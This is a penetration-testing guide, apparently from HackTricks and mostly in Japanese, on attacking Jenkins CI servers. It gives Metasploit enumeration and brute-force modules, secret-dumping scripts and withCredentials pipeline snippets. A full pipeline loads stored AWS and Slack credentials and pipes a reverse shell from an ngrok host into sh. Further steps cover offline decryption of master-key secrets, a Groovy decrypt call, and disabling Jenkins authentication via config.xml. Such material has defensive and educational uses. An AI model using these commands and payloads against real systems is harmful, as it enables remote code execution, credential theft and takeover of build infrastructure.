Jenkins Security

Support HackTricks

基本情報

Jenkinsは、パイプラインを使用して、ほぼすべてのプログラミング言語とソースコードリポジトリの継続的インテグレーションまたは継続的デリバリー(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。

Basic Jenkins Information

認証されていない列挙

認証なしで興味深いJenkinsページを検索するには(_ /people_または_ /asynchPeople_のように、これにより現在のユーザーがリストされます)、次のように使用できます:

msf> use auxiliary/scanner/http/jenkins_enum

認証なしでコマンドを実行できるか確認してください:

msf> use auxiliary/scanner/http/jenkins_command

認証情報がない場合、/asynchPeople/ パスや /securityRealm/user/admin/search/index?q=ユーザー名 を確認できます。

/oops または /error パスから Jenkins のバージョンを取得できるかもしれません。

既知の脆弱性

ログイン

基本情報では、Jenkins 内でログインするためのすべての方法を確認できます:

Basic Jenkins Information

登録

アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。とても簡単です。

SSO ログイン

また、SSO 機能/プラグイン が存在する場合は、テストアカウント(例:テスト Github/Bitbucket アカウント)を使用してアプリケーションにログインを試みるべきです。 こちらのトリックを参照してください。

ブルートフォース

Jenkinsパスワードポリシーユーザー名のブルートフォース緩和 が欠けています。弱いパスワードユーザー名をパスワードとして使用することがあるため、ユーザーをブルートフォースすることが重要です。さらに、逆のユーザー名をパスワードとして使用することもあります。

msf> use auxiliary/scanner/http/jenkins_login

パスワードスプレー

このPythonスクリプトまたはこのPowerShellスクリプトを使用してください。

IPホワイトリストバイパス

多くの組織は、GitHubやGitLabのようなSaaSベースのソース管理(SCM)システムを、JenkinsやTeamCityのような内部の自己ホスト型CIソリューションと組み合わせています。このセットアップにより、CIシステムはSaaSソース管理ベンダーからのWebhookイベントを受信し、主にパイプラインジョブをトリガーすることができます。

これを実現するために、組織はSCMプラットフォームのIP範囲をホワイトリストに登録し、Webhookを介して内部CIシステムにアクセスできるようにしています。しかし、誰でもGitHubやGitLabにアカウントを作成し、Webhookをトリガーするように設定できるため、内部CIシステムにリクエストを送信する可能性があります。

確認してください: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

内部Jenkinsの悪用

これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。

Jenkinsに設定された認証メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を実行できる場合とできない場合があります。

詳細については、基本情報を確認してください:

Basic Jenkins Information

ユーザーのリスト表示

Jenkinsにアクセスした場合、http://127.0.0.1:8080/asynchPeople/で他の登録ユーザーをリスト表示できます。

プレーンテキストの秘密を見つけるためのビルドダンプ

このスクリプトを使用して、ビルドコンソール出力とビルド環境変数をダンプし、プレーンテキストの秘密を見つけることを期待します。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH資格情報の盗難

もし侵害されたユーザーが新しいJenkinsノードを作成/変更するのに十分な権限を持っている場合、SSH資格情報が他のノードにアクセスするためにすでに保存されていると、彼はノードを作成/変更し、資格情報を記録するホストを設定することによってそれらの資格情報を盗むことができる。ホストキーを検証せずに:

通常、JenkinsのSSH資格情報はグローバルプロバイダー/credentials/)に見つかるので、他の秘密をダンプするのと同様にそれらをダンプすることもできます。詳細は秘密のダンプセクションを参照してください。

JenkinsにおけるRCE

Jenkinsサーバーでシェルを取得することは、攻撃者にすべての秘密環境変数を漏洩させ、同じネットワークにある他のマシンを悪用する機会を与え、さらにはクラウド資格情報を収集することができます。

デフォルトでは、JenkinsはSYSTEMとして実行されます。したがって、これを侵害することで攻撃者はSYSTEM権限を得ることになります。

プロジェクトの作成/変更によるRCE

プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です:

Jenkins RCE Creating/Modifying Project

Groovyスクリプトの実行によるRCE

Groovyスクリプトを実行することでRCEを取得することもでき、これは新しいプロジェクトを作成するよりも目立たないかもしれません:

Jenkins RCE with Groovy Script

パイプラインの作成/変更によるRCE

パイプラインを作成/変更することでRCEを取得することもできます

Jenkins RCE Creating/Modifying Pipeline

パイプラインの悪用

パイプラインを悪用するには、Jenkinsへのアクセスが必要です。

ビルドパイプライン

パイプラインプロジェクトのビルドメカニズムとしても使用でき、その場合、パイプライン構文を含むリポジトリ内のファイルを設定できます。デフォルトでは/Jenkinsfileが使用されます:

他の場所(例えば他のリポジトリ)にパイプライン設定ファイルを保存することも可能で、リポジトリアクセスとパイプラインアクセスを分離することを目的としています。

攻撃者がそのファイルに対して書き込みアクセスを持っている場合、彼はそれを変更し、Jenkinsにアクセスせずにパイプラインをトリガーする可能性があります。 攻撃者はいくつかのブランチ保護を回避する必要があるかもしれません(プラットフォームやユーザー権限によっては回避できる場合もあります)。

カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:

  • メインブランチへのプルリクエスト(または他のブランチへのプルリクエスト)

  • メインブランチへのプッシュ(または他のブランチへのプッシュ)

  • メインブランチの更新を行い、何らかの方法で実行されるのを待つ

もしあなたが外部ユーザーであれば、他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーすることを期待すべきではありません...しかし、不適切に設定されている場合、あなたはこの方法で企業を完全に侵害することができるかもしれません

パイプラインRCE

前のRCEセクションでは、パイプラインを変更することでRCEを取得する技術がすでに示されています。

環境変数の確認

平文の環境変数をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は機密情報を含むべきではありませんが、攻撃者は常にすべてのパイプライン設定/Jenkinsfileを確認することができます

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

秘密のダンプ

Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください:

Basic Jenkins Information

資格情報はグローバルプロバイダー/credentials/)または特定のプロジェクト/job/<project-name>/configure)にスコープを設定できます。したがって、すべての秘密を抽出するには、秘密を含むすべてのプロジェクトを少なくとも侵害する必要があり、カスタム/毒入りパイプラインを実行する必要があります。

もう一つの問題は、パイプラインのenv内の秘密を取得するには、秘密の名前とタイプを知っている必要があることです。たとえば、usernamePassword 秘密を**string** 秘密としてロードしようとすると、次のエラーが発生します:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

ここでは、いくつかの一般的な秘密のタイプをロードする方法を示します:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

このページの最後にすべての認証情報タイプを見つけることができます: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

すべての秘密を一度にダンプする最良の方法は、Jenkinsマシンを侵害することです(例えば、組み込みノードでリバースシェルを実行する)そして、マスターキー暗号化された秘密漏洩させ、それらをオフラインで復号化します。 これを行う方法については、ノードとエージェントのセクションおよびポストエクスプロイテーションのセクションを参照してください。

トリガー

ドキュメントから: triggersディレクティブは、パイプラインが再トリガーされる自動化された方法を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、triggersは必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーはcronpollSCM、およびupstreamです。

Cronの例:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Nodes & Agents

A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.

For more information check the basic information:

Basic Jenkins Information

You can enumerate the configured nodes in /computer/, you will usually find the Built-In Node (which is the node running Jenkins) and potentially more:

It is 特に興味深いのはBuilt-Inノードを妥協することです。なぜなら、それには敏感なJenkins情報が含まれているからです。

To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:

pipeline {
agent {label 'built-in'}

完全な例

特定のエージェントでのパイプライン、cronトリガーを使用し、パイプラインとステージの環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

任意ファイル読み取りからRCEへ

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

ポストエクスプロイト

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

/credentials/ にアクセスすることで、十分な権限があればシークレットをリストできます。これは credentials.xml ファイル内のシークレットのみをリストしますが、ビルド構成ファイルにも さらに多くの資格情報が含まれている可能性があります。

各プロジェクトの構成を表示できる場合、リポジトリにアクセスするために使用されている 資格情報(シークレット)の名前プロジェクトの他の資格情報もそこに表示されます。

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

これらのファイルは Jenkinsシークレットを復号化するために必要です

  • secrets/master.key

  • secrets/hudson.util.Secret

そのような シークレットは通常次の場所にあります

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

これらを見つけるための正規表現は次のとおりです:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkinsの秘密をオフラインで復号化する

秘密を復号化するために必要なパスワードをダンプした場合このスクリプト を使用してそれらの秘密を復号化します

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

GroovyからJenkinsの秘密を復号化する

println(hudson.util.Secret.decrypt("{...}"))

新しい管理者ユーザーを作成する

  1. /var/lib/jenkins/config.xml または C:\Program Files (x86)\Jenkins\ にあるJenkinsのconfig.xmlファイルにアクセスします。

  2. <useSecurity>true</useSecurity>という単語を検索し、**truefalse**に変更します。

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Jenkinsサーバーを再起動します: service jenkins restart

  5. もう一度Jenkinsポータルに移動すると、Jenkinsは認証情報を要求しません管理者パスワードを再設定するために「Manage Jenkins」に移動します

  6. 設定を<useSecurity>true</useSecurity>に変更して再度セキュリティを有効にしJenkinsを再起動します。

参考文献

HackTricksをサポートする

Last updated